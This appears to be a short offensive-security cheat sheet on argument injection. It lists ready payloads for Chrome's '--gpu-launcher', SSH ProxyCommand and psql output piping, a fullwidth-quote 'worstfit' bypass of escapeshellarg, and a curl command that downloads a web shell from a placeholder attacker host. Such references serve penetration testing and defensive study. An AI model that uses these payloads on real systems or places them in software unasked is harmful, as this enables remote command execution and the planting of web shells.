Command Injection: Argument Injection
Gain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.
Chrome
chrome '--gpu-launcher="id>/tmp/foo"'SSH
ssh '-oProxyCommand="touch /tmp/foo"' foo@foopsql
psql -o'|id>/tmp/foo'
Argument injection can be abused using the worstfit technique.
In the following example, the payload " --use-askpass=calc " is using fullwidth double quotes (U+FF02) instead of the regular double quotes (U+0022)
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
curl
# -o, --output <file> Write to file instead of stdout curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php
Comments
No comments yet.